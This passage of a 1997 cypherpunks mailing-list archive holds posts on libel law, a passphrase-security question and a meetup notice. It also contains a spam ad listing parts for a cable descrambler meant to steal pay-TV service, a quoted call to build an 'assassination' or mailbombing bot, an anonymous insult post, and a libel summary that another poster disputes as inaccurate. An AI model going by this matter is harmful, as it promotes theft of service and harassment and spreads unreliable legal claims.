   article (J. Weiss, Dallas Morning News, June 21, 1992, page 1A). A
   Texas court issued a subpoena to Relman requiring that he give a
   deposition at a lawyer's offices in Boston. But Relman's lawyers
   successfully argued that the Texas court had no jurisdiction in
   Massachusetts, and the case was ultimately dropped.
   
   "I think they knew they had no case," comments Relman. "I was
   expressing an opinion, and what I said as an opinion was true. I
   didn't say it with malicious intention. I didn't even know the
   company. I had nothing personal against them. I was just talking on a
   matter of public policy and medical ethics.
   
   "It seems to me that honest and well-intentioned scientific disputes
   ought to be off limits to litigation," continues Relman. "Many
   scientific advances are made by the resolution of disputes, the
   correction of well-intentioned or honest error by better data, new
   information... It ought to be possible for scientists to express
   honest disagreements, to make honest mistakes... without involving
   them in litigation.... I think it would be a terrible damage to the
   scientific process if lawyers began to get involved in scientific
   debates."
   
   Robert Finn, a freelance science writer based in Long Beach, Calif.,
   is online at finn@nasw.org.
   
   [home] [top] [search] [previous] [next] 
     _________________________________________________________________
   
          (The Scientist, Vol:10, #6, pg.15-16 , March 18, 1996)
          (Copyright (c) The Scientist, Inc.)
          
   WE WELCOME YOUR OPINION. IF YOU WOULD LIKE TO COMMENT ON THIS STORY,
          PLEASE WRITE TO US AT EITHER ONE OF THE FOLLOWING ADDRESSES:
          
   71764.2561@compuserve.com
          or
          
   The Scientist, 3600 Market Street, Suite 450, Philadelphia, PA 19104,
          U.S.A.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:38:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: cc.300.html
Message-ID: <199701270602.AAA02303@einstein>
MIME-Version: 1.0
Content-Type: text/plain



PUNISHMENT OF LIBEL KNOWN TO BE FALSE.

   
   
   300. Every one who publishes a defamatory libel that he knows is false
   is guilty of an indictable offence and liable to imprisonment for a
   term not exceeding five years. [R.S., c.C-34, s.264.]
   
   
     _________________________________________________________________
   
   Next, Section 301 ... 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Robert Rothenburg Walking-Owl)
Date: Sun, 26 Jan 1997 16:03:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701270023.TAA17765@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 23 Jan 1997 17:32:56 GMT, you wrote:

>This is surprising, given that (in Kahn on Codes) Mr. Kahn expressed
>forceful opinions

>- against certain aspects of export controls,

>- questioning the value of the NSA's mission, in contrast to social
>demands on government revenues.

I didn't find his opinions forceful in Codebreakers, 2nd. ed.  

Questioning the NSA's purpose vs. advoctating GAK are not incompatible.

>However, while I oppose making key escrow mandatory in general, and
>share the general suspicion of a voluntary Clipper, if Mr. Kahn's
>support for Clipper is limited to cellular telephones, then I have no
>quarrel with such a position.

>Encryption is illegal, without special permission, for use over the
>airwaves, particularly where mobile radio is involved. This is a
>long-standing restriction, and not unreasonable. Private communication
>between people at home is one thing, but allowing criminals to closely
>coordinate their activities on the move is another.
[..]

The problem is the technology is merged. What if you're using cellular links
to your ISP, and use SSL or ssh or PGP? Radio is being advocated as a
possible solution to some of the net's bandwidth problems.

Rob






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:38:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: cc.317.html
Message-ID: <199701270603.AAA02306@einstein>
MIME-Version: 1.0
Content-Type: text/plain



VERDICTS IN CASES OF DEFAMATORY LIBEL.

   317. Where, on the trial of an indictment for publishing a defamatory
   libel, a plea of not guilty is pleaded, the jury that is sworn to try
   the issue may give a general verdict of guilty or not guilty on the
   whole matter put in issue on the indictment, and shall not be required
   or directed by the judge to find the defendant guilty merely on proof
   of publication by the defendant of the alleged defamatory libel, and
   of the sense ascribed thereto in the indictment, but the judge may, in
   his discretion, give a direction or opinion to the jury on the matter
   in issue as in other criminal proceedings, and the jury may, on the
   issue, find a special verdict. [R.S., c.C-34, s.281.]
   
   
     _________________________________________________________________
   
   Next, Section 318 ... 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:39:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: PublicF_j385.html
Message-ID: <199701270603.AAA02309@einstein>
MIME-Version: 1.0
Content-Type: text/plain



  Libel Plaintiffs - Public or Private Person Status
  
  Recent Examples
  
   PUBLIC OFFICIALS:
   
     * High School Teacher, Elstrom v. Independent Sch. District (Minn.
       1995)
     * Elementary School Principal, 20 MLR 1640 (VT.)
     * Former County Employee w/ Financial Responsiblity, 20 MLR 2159
       (Tenn.)
     * Police Officer, 21 MLR 1588 (Az.)
     * Federal Strike Force Attorney, 20 MLR 1649 (Az.)
     * TVA Official, 20 MLR 1873 (6th)
     * Athletic Director/Football Coach, 21 MLR 1746 (Tx.)
     * Special-Agent-In-Charge of President Ford's Secret Service Detail,
       21 MLR 1842 (D.D.C.)
     * Mississippi Public Defender, 22 MLR 1413 (DC S. Miss. 1994)
     * Former Deputy Sheriff, 22 MLR 2013 (Fla CirCt. 1994)
     * Commissioned National Guard Officers, 22 MLR 2046 (Ga. SuperCt
       1994)
     * Police Lieutenant, 22 MLR 2129 (NJ SupCt 1994)
     * President of State Troopers' association, 22 MLR (NY SupCt AppDiv.
       1993)
       
   NOT PUBLIC OFFICIALS:
   
   High School Principal, 20 MLR 2095 (GA.)
   
   Deputy Public Defender, 21 MLR 1624 (CA)
   
   Street & Traffic Supervisor, LeDoux v. Northstar Pub., 521 N.W. 2d
   (Mn. 1994) LIMITED PUBLIC FIGURES:
   
     * Charity seeking donations and organizer, 21 MLR 1449 (4th Cir.)
     * Attorney in private practice representing several school
       districts, 20 MLR 1992 (NJ)
     * Physician who sought media attention for practice and technique,
       20 MLR 1613 (NY)
     * Star Witness in Jim Garrison case who "sought limelight", 20 MLR
       2113 (La.)
     * Lawn Mower Repair Co., 22 MLR 1461 (NJ SuperCt. AppDiv. 1994)*
     * Police Officer/Subject of Book, 22 MLR 1385 (5th Cir. 1994)*
     * Paycologists/authors, 22 MLR 1852 (7th Cir. 1994)
     * Convicted Murderer, 22 MLR 2239 (DC Sind. 1994)*
     * Actress/Model, 22 MLR 2147 (DC E Wis. 1994) *
     * Appointed tax collector who never took office, 22 MLR 2157 (Ariz
       SuperCt 1994)
     * Brother who "voluntarily thrust himself" into controversy
       surrounding his brothers arrest, 22 MLR 1434 (Ca Ct App 1994)
       
   *Note: It is not clear that these individuals would be limited public
   figures in Oregon.
   
   NOT PUBLIC FIGURES:
   
     * Host of a loud party, 21 MLR 1378 (Pa.)
     * Woman at home where MLK had dinner night before shot who was
       alledged to have had extramarital affair with King, 21 MLR 1353
       (S.D.N.Y)
     * Person accused of of sexual misconduct, 22 MLR 2353 (4th Cir.
       1994)
       
   Return to J385 Home page




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p6.html
Message-ID: <199701270604.AAA02312@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Fault
     _________________________________________________________________
   
   The Supreme Court has recognized different standards for different
   types of libel plaintiffs, with public officials and public figures
   required to show a high degree of fault.
   
   Celebrities and others with power in a community are usually
   considered public figures. Politicians and high-ranking government
   personnel are public officials.
   
   Courts generally consider public officials to include public employees
   who have substantial responsibility for or control over the conduct of
   governmental affairs. Some courts have found that public school
   teachers and police officers are public officials.
   
   But determining if other people are private or public figures is not
   always easy. In some instances, there may be overlapping in the
   private and public category. For example, a businessperson who has
   high visibility because of fundraising efforts in a community may or
   may not be a public figure for all purposes.
   
   A plaintiff who is considered a public figure or official must prove
   that the publisher or broadcaster acted with "actual malice" in
   reporting derogatory information. "Actual malice" does not mean ill
   will or intent to harm. Instead, the term applies to whether the
   defendant knew that the challenged statements were false or acted with
   reckless disregard of the truth.
   
   Courts may examine reporting procedures in testing for actual malice.
   While carelessness is not usually considered reckless disregard,
   ignoring obvious ways of substantiating allegations could be
   considered reckless.
   
   In Harte-Hanks Communications, Inc. v. Connaughton, the Supreme Court
   held that even an extreme deviation from professional standards, or
   the publication of a story to increase circulation, do not in
   themselves prove actual malice. The Court also said that while failure
   to investigate facts does not necessarily prove actual malice, a
   "purposeful avoidance of the truth" may.
   
   Use of quotations that are not literally accurate will not necessarily
   be considered proof of actual malice as long as the altered quotes do
   not materially change the meaning of the words the speaker used. In
   Masson v. The New Yorker Magazine, the Supreme Court acknowledged
   that some editing of quotations is often necessary, but refused to
   extend protection to all edits that are at least a "rational
   interpretation" of what the speaker said.
   
   If the plaintiff is a private litigant, he or she must at least prove
   that the publisher or broadcaster was negligent in failing to
   ascertain that the statement was false and defamatory. Some states may
   impose a higher burden on private-figure litigants, especially if the
   story in question concerns a matter of public importance.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:41:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p7.html
Message-ID: <199701270606.AAA02316@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Defenses
     _________________________________________________________________
   
   Truth is generally a complete bar to recovery by any plaintiff who
   sues for libel. Making sure that any potentially libelous material can
   be proven true can avoid needless litigation.
   
   Fair Report. Libelous statements made by others in certain settings
   are often conditionally privileged if the reporter, in good faith,
   accurately reports information of public interest. This privilege
   usually applies to official meetings such as judicial proceedings,
   legislative hearings and grand jury deliberations.
   
   Opinion is still protected speech under the First Amendment, although
   the Supreme Court limited the formerly broad reach of opinion
   protection in Milkovich v. Lorain Journal. The court ruled that there
   is no separate opinion privilege, but because factual truth is a
   defense to a libel claim an opinion with no "provably false factual
   connotation" is still protected.
   
   As a result of this decision, courts will examine statements of
   opinion to see if they are based on or presume underlying facts. If
   these facts are false or defamatory, the "opinion" statements will not
   be protected.
   
   Consent. If a person gives permission for the publication of the
   information, that person cannot later sue for libel. However, denial,
   refusal to answer or silence concerning the statement do not
   constitute consent.
   
   The statute of limitations for bringing libel suits varies from state
   to state. Generally the time limit for filing a libel lawsuit starts
   at the time of the first publication of the alleged defamation. If the
   plaintiff does not sue within the statutory time period, the
   litigation can be barred.
   
   Although a retraction is not usually considered a defense to a libel
   claim, it may reduce the damages a defendant must pay if found liable
   for defamation. Before agreeing to publish a retraction, consult an
   attorney.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 22:05:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fantasy quotes & libel
Message-ID: <199701270630.AAA02364@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

After review of the material I forwarded by request it is clear that
'fantasy' quotes are libel provided:


  * the person being quoted is not a public figure. On a 'private'
    mailing list like the cypherpunks this is a given unless similar
    statements can be found in the public records.

  * the section added to the original quote is not clearly seperated
    or otherwise dilineated such that a reader will be able to tell
    what the original quote was and the extrapolation by the 'editor'
    is.

  * there is clear intent to effect the perception of the original
    authors reputation in a negative or otherwise harmful manner.

  * the 'fantasy' quote is not clearly marked as the opinion of the
    editor.


While quoting persons with editing is allowed under the 1st Amendment as
understood by the courts the attributation of extrapolations by a third
party (meaning a party other than the original author and the reader) as
'true' quotes of the original author is not.

'Truth' is usually ascribed as protection against libel, however, opinions
are not 'true', they are opinions not facts as accepted by a court.

With the current 'editorial control' as provided by the cypherpunks mailing
list the mailing list operator/censor may also be held in some situations
accountable as well. This occurs because the relationship between list
operator and the quoter is similar to that of editor and reporter in a
newspaper. For the quoter to get his quote distributed the list operator
must ok it. The reasoning used is that the editor 'should have known' the
boundaries and applied them.

Not only is ignorance not an excuse but neither is negligence.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 01:13:00 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126215505.25337B-100000@pegasus.montclair.edu>
Message-ID: <32EC6BAF.2674@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > Nurdane Oksas wrote:
> > > > >     i think it's good also to exercise outdoors as well as your
> > > > >     indoor nordictrack machines..sun and air is esp. necessary;

> > > > but remember, tanning will kill ya.

> > >         Yes it will; Not a fan of tanning myself...it also causes lots
> > >         of skin problems, have seen women age too soon tanning;
> > >         we don't go outside naked here in NorthEast...do remember;

> > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > distributed tan looks best with, say, a pure white bikini.  You can
> > go to the beach, of course, and hang out with the hoi polloi, but
> > it's mostly kids with pimples and stuff.

>         i don't see why she would wear a bikini if she already is tan.
>         She just goes to show off right???  California is know for
>         very beautiful girls ...     I like the pale look :)

There are two really major beaches in the L.A. area that I know of.
One is Bolsa Chica, several miles long, north of Huntington Beach,
which attracts most of the young'uns south of L.A., and Zuma in the
northmost points of Malibu, which gets a lot of Valley people
(fer sure).  To quote the L.A. Weekly of a few years ago, in a
"Best of L.A." review, "Why do all those hot young girls go to Zuma?
Because that's where all the hot young boys are."

But the real babes don't go there.  They get skates and nifty little
costumes and zip up and down the boardwalks in Santa Monica and
Pacific Palisades mostly, in case some hot producer/director should
happen along.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BradStevens@ezin.net
Date: Mon, 27 Jan 1997 01:10:38 -0800 (PST)
Subject: Cable Television Descrambler - Easy To Make  !!!
Message-ID: <199701270848.AAA03757@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello {:-) !!! 

     ======= > > > >
     Cable Television Descrambler - Easy To Make !!!


Build your own Cable Television Descrambler with ONLY 7 parts 
from Radio Shack for UNDER $12.00.

Required Supplies:

1 - Radio Shack mini-box (part #270-235)
1 - 1/4 watt resistor. 2.2k-2.4k ohm (part #271-1325)
1 - 75pf-100pf variable capacitor (special order)
2 - F61A chassis-type connectors (part #278-212)
12" - No. 12 solid copper wire
12" - RG59 coaxial cable

Tools required:  screwdriver & drill.  Soldering gun & solder (optional).

Get ALL the Premium Movie Channels, Pay per View and Adult Entertainment 
Channels for... FREE, FREE, FREE !!!

Now, if I have your attention... let me tell you how this fantastic 
opportunity came about.

My name is Brad.  I live in Oklahoma City, Oklahoma.  I have season 
tickets to our city's hockey team.  I invited a friend of mine to one 
of the games this last November.  

He said, "I'd love to go if you can have me back home by 10:00 p.m."  I
told him that some games run just past 10:00 p.m. and would he mind we 
stay if the game was close. 

His response was, "No, tonight is the Mike Tyson - Evander Holyfield 
boxing match and I have it on pay per view"  I said, "do you mind if I
watch the fight with you"?  He said, "sure, no problem".  So we go watch
this great fight on cable pay per view and we are the only two guys at 
my friends house.  

After the fight (since it was so good) I offered to pay half of the cost
for the fight.  My friends anwser was, "no, no, that's not necessary... 
I got the fight for FREE!".  I said to him, "for free, don't those fights
cost around $40.00 a pop?"  He told me, "yes, they do, but I bought a 
cable descrambler box from an acquaintance of mine for $300.00".

He further explained that this "little black box" gets ALL the pay per 
view events available!  It also tunes in ALL the premium movie channels
and ALL the adult entertainment channels.

My response (without hesitation) was, "I gotta have one!"  "$300.00, no
problem where do I pay !!!"  I'm serious, I was excited.  Lifetime 
premium movie channels, pay per view and adult entertainment all for a 
one-time fee of $300.00... no way!!!

"No way" was right.  The guy that sold my buddy the box was no where to 
be found. I was really disappointed.  It was now time for desperate 
measures.  I begged and pleaded with my friend until he agreed to let me
take his box apart piece by piece to see how to make one for myself.  

Luckily it was very easy, if it wasn't simple I knew their was a slight
chance it was not going back together so pretty.

Now the rest is history... I've got my own box which I built with my own
two hands.

Would you like to build one yourself ?!?!  

If so, would you pay $300.00.  Maybe so, maybe not.  Probably not, unless
you saw one work first.  But since that is not possible, I will sell you
a complete set of instructions on how to build one yourself for a measly
$12.00.  However, at that price YOU MUST ALSO ENCLOSE A SELF ADDRESSED 
STAMPED ENVELOPE WITH 55 CENTS POSTAGE AFFIXED.

You might ask, is this some type of rip-off scam deal.  The answer is NO!
Everything has specific mechanics of how and why they do what they do.  
We are just used to flipping a switch or pushing a button or moving the
mouse across our computer pads.  It all happens because of a certain set 
of processes.  The cable television descrambler is no different.

However, for legal purposes I must add to this letter that this offer and
set of instructions shall be void where prohibited by law and the 
assembling of parts necessary to make this "little jewel" work is for 
educational purposes only. 

To order a set of the instructions send $12.00 by cash, check or money 
order payable to: Brad Stevens Elder.  Send to:  10443 N. May Ave. #604,
OKC, OK  73120  USA

I will mail your order out within 24 hours of receiving it.  Further, I 
will give you a refund upon written request if you are unsatisfied for 
any reason.

Have a great 1997 !!!

Sincerely,

Brad Stevens Elder

P.S.:  The experimental use of this box if you choose to see if your 
creation works requires no alteration of your existing cable system.
You simply screw it in, right behind your television.

P.P.S.:  Without the instructions it's like figuring out how to set the
clock on your VCR.  With the instructions, you are guaranteed success.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 01:13:04 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126234608.26931C-100000@pegasus.montclair.edu>
Message-ID: <32EC6D24.2FD4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > Nurdane Oksas wrote:
> > > California is know for very beautiful girls ...

> > wrong.

> well, seems D. Thorn agrees with the song: 'california girls'

Depends on where you go, and what time of year. So. Cal. is no doubt
a revolving door for the girl markets, especially on the beach board-
walks, or on San Vicente where a lot of joggers run.

Anywhere else and it's no different from Cleveland or Pittsburgh.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 01:13:11 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <32EC6F84.6FFE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dale Thorn wrote:
> > How does one country get on top and terrorize the whole world?  By
> > following Tom Wolfe's intimation concerning the pirates: "The people
> > on the East coast were constantly victimized because they couldn't
> > comprehend just how vicious and ruthless the pirates really were"
> > (quote approximate).

> Dale,
>   When I read posts like this, I wonder how any rationally thinking
> person can possibly believe that socio/politico concerns have no
> place in the discussion of crypto.
>   It is my belief that many of the more atrocious acts being performed
> against the citizens by various governments are made possible by the
> fact that there are so few people who recognize a 'pirate' when they
> see one.
>   While I appreciate that there are those who may be furthering the
> cause of crypto, privacy and freedom through official channels, the
> controlled media, and such, there needs to be a forum in which
> people are free to use what they consider to be the 'correct'
> terminology to refer to those who have usurped democracy in order
> to control the citizens for their own personal profit.
>   i.e. 'Pirates'

When I recall my growing up years and the political/social arguments
I participated in, I can hardly believe the things I've learned since,
esp. things like government agencies sharing asset forfeitures as a
means of funding further seizures (kind of snowballs, if you know
what I mean).  Check out H.R. 3355 of late 1993, which authorizes
Janet Reno to personally treaty up with the local cops in every U.S.
city of 100,000 pop. or more, i.e., most of the U.S. population,
and virtually all of the "crime".

There was a previous post today, perhaps yours, which made the point
that while erstwhile freedom fighters are trying to put out one fire
or another, the govt. boys are lighting dozens more.  I guess that
means we'll have to pony up a lot more tax money to pay those guys.
Whoops!  I forgot - they can self-fund now with the asset seizures.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 23:18:48 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701270553.XAA02293@einstein>
Message-ID: <199701270714.BAA00545@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[Cc: to Dr. John Martin Grubor, Law Systems Institute, Medical-Cannabis Assn]

Jim Choate wrote:
> 
> 
>    Landskroner, LTD. [INLINE]
>    
> Libel / Slander
 
I am not sure if you posted this information in response to my request
to cite a statute that would prove that libel is a crime.

Me> Jim Choate wrote:
Me> > 
Me> > 
Me> > 
Me> > Are you aware that attributing statements in print to a party when that
Me> > party did not write them is a crime?
Me> 
Me> cite the statute


These postings do not prove that libel is a crime. It is because libel
is not a crime. Libel is a tort, and unlike with crime, the government
cannot initiate a legal action against someone for libel. Only injured
(libeled) individuals and not the government can sue in a libel case.

I would appreciate if someone more knowledgeable about the law could
comment on this. I may be mistaken.

igor 

>    Libel / Slander is an area that involves defamatory oral or written
>    statements containing false and misleading material which causes
>    damage or injury to reputation and/or monetary loss.
>    
>    We provide a quick review of their success stories , some media and
>    newspaper articles about what they've been able to do for their
>    clients, and published articles about this topic.
>    
>    Please e-mail us with questions about our service! Landskroner and
>    Phillips 
>    [INLINE]
>    
>    Nationally Recognized Consumer Trial Advocates.
>    Over 100 Years combined experience in both State and Federal Courts.
>    
>    55 Public Square, Tenth Floor, Cleveland Ohio 44113-1904
>    Phone: (216) 241-7000
>    Fax: (216) 241-3135
>    Toll Free: (888) 241-7001
>    [INLINE]
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 26 Jan 1997 22:30:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <TCPSMTP.17.1.27.1.34.12.2780269260.1486070@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I have a question reg. passphrases:

If I am connected to the Internet via a SLIP/PPP connection and I
type my passphrase while being online (for example, in Private
Idaho, after getting my mail), could that passphrase be compromised?
If so, how would that be done?
Also, if I am online, is it possible for somebody to access my hard
drive?

Thanks in advance for your help...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMucA7jltEBIEF0MBAQFdewf/Q74ATvi+OZzSCdyFrIRQ5aRjychCd6hO
DbfM+/NQ6EcZseKp30JyjmV2VW4Y+HrxIYPtFKii4XzOJ8YCE2Cvtvn9gP8mAntY
oIgsUZG36t+L4nmANpsiEHyzEIMlhjcgW7alKTr+hFbnRjlPwX8W0gdEIXAgIl2k
4uYEB+P+cfUhy1xPQgWfAk6VFspNIHIlFJ3mUqEIJTAOguV//UfIjyNFoGrZhiG7
ocy6YaQ2LiNpoh5xHBIvMf8YSz+FJORVLTucsmA0DYSHMKatNNutXGHoEI5kW1Ww
1O5YAoIuvCLyg/4AEgPBVeU2ClJjARmKrzBcw1bMZDp3wv/DkZdoEQ==
=Xtu7
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 23:09:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Austin Cypherpunks Feb. Meeting
Message-ID: <199701270734.BAA02669@einstein>
MIME-Version: 1.0
Content-Type: text



The Austin Cypherpunks (austin-cpunks@ssz.com) will be holding their next
physical meeting on Saturday, February 18, 1997 at 6pm. It will be held at
the Central Market HEB Restaurant, look for the red covered 'Applied
Cryptography' book.

In addition to the local cpunks the Experimental Science Instrumentation
and Advanced Computer Experimentation groups have been invited.

The meeting is open to all.

If you have any questions or need further directions please send email to
the Austin Cypherpunks.

Hope to see you there.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 27 Jan 1997 01:42:12 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fantasy quotes & libel
Message-ID: <3.0.32.19970127014516.006f53e4@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:30 AM 1/27/97 -0600, Jim Choate wrote:
>Hi,
>
>After review of the material I forwarded by request it is clear that
>'fantasy' quotes are libel provided:

[gibberish deleted]

You're mixing up elements of a prima facie case for libel, defenses, and
standards for liability and damages. You're missing some elements, and
adding some extra (contradictory) elements. You're also ignoring at least
two other potential causes of action where a quote is misattributed, as
well as trying to simultaneously discuss criminal and civil actions. Your
summary of defamation law is not an accurate one.

Your original message suggested that misattribution could be criminal.
While this may be true in some jurisdictions (modulo the First Amendment),
no prosecutor is going to waste his or her time with this sort of
silliness. Also, go watch _The People v. Larry Flynt_ and meditate on the
reason why Jerry Falwell lost his libel claim in the trial court. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Sun, 26 Jan 1997 23:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Passphrase Online...
Message-ID: <3.0.32.19970127014244.00685360@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>If I am connected to the Internet via a SLIP/PPP connection and I
>type my passphrase while being online (for example, in Private
>Idaho, after getting my mail), could that passphrase be compromised?
>If so, how would that be done?

It certainly _could_ but hopefully isn't.  Let's say that Joel
McNamara hadn't released the sources to Private Idaho.  It's
certainly possible that he hooked into the windows created when
PI shells out to DOS, and left a snippet of code that mails your
keyID and passphrase to some throwaway AOL account, or a nym address
that bounces through a dozen remailers, or whatever.  Anything you
give to a program, especially one that you know accesses the Internet,
is a potential security risk.

(Special note to Joel, if he's still on this list: Yes, I know
better.  I've read through all of your released Private Idaho sources.
You just seemed like a handy example :)

Paranoid yet?  Good.  That's a healthy state to be in.  Fortunately,
most developers (like Joel) don't put any such evil hooks into
their software.  Having access to the source, to be able to read
through it yourself, is IMO one of the better ways to be sure about
such things. Reading the source and recompiling it yourself is
probably the best.

>Also, if I am online, is it possible for somebody to access my hard
>drive?

Depends on what kind of computer and software you're running.
I'll assume a Windows-style machine.  If we assume that Microsoft
didn't leave any lurking backdoors in their implementation of
wsock32.dll and winsock.dll, and all you run is your usual Web
browser and mail client and you trust _those_ you are probably
safe.  However, if you're running any server daemons on your machine,
such as the MS Personal Web Server or WFTPD or whatever, the 
possibilities go up _a_lot.  Those programs were designed to let
others access your hard drive, so there's a much higher chance that
they'll let someone get something they're not supposed to.  Again,
if you trust the people that developed your software to not stab
you in the back, you should be alright.

Still paranoid?  Excellent.

dave


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 27 Jan 1997 00:58:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyclic codes
Message-ID: <199701270859.BAA24297@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Mayonnaise's wee-wee is so tiny that only his mommy is 
allowed to touch it.

           __o
         _ \<_  Timothy Mayonnaise
        (_)/(_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 27 Jan 1997 00:07:09 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270357.TAA06744@toad.com>
Message-ID: <199701270824.CAA00742@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Jim, why don't you stop bullshitting and write a real assassination
> > bot. [as a beta, it can be a mailbombing bot] This bot would:
> I think this would be a very good demo project, but mailbombing may not
> be the best choice...
> > 1) Accept bets as combinations of

   
     Well, I have made a less destructive proposal along these lines.

     http://www.bounty.org

     Version .3 should be up in a day or two.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 27 Jan 1997 00:17:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <199701270833.DAA31377@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>If I am connected to the Internet via a SLIP/PPP connection and I
>type my passphrase while being online (for example, in Private
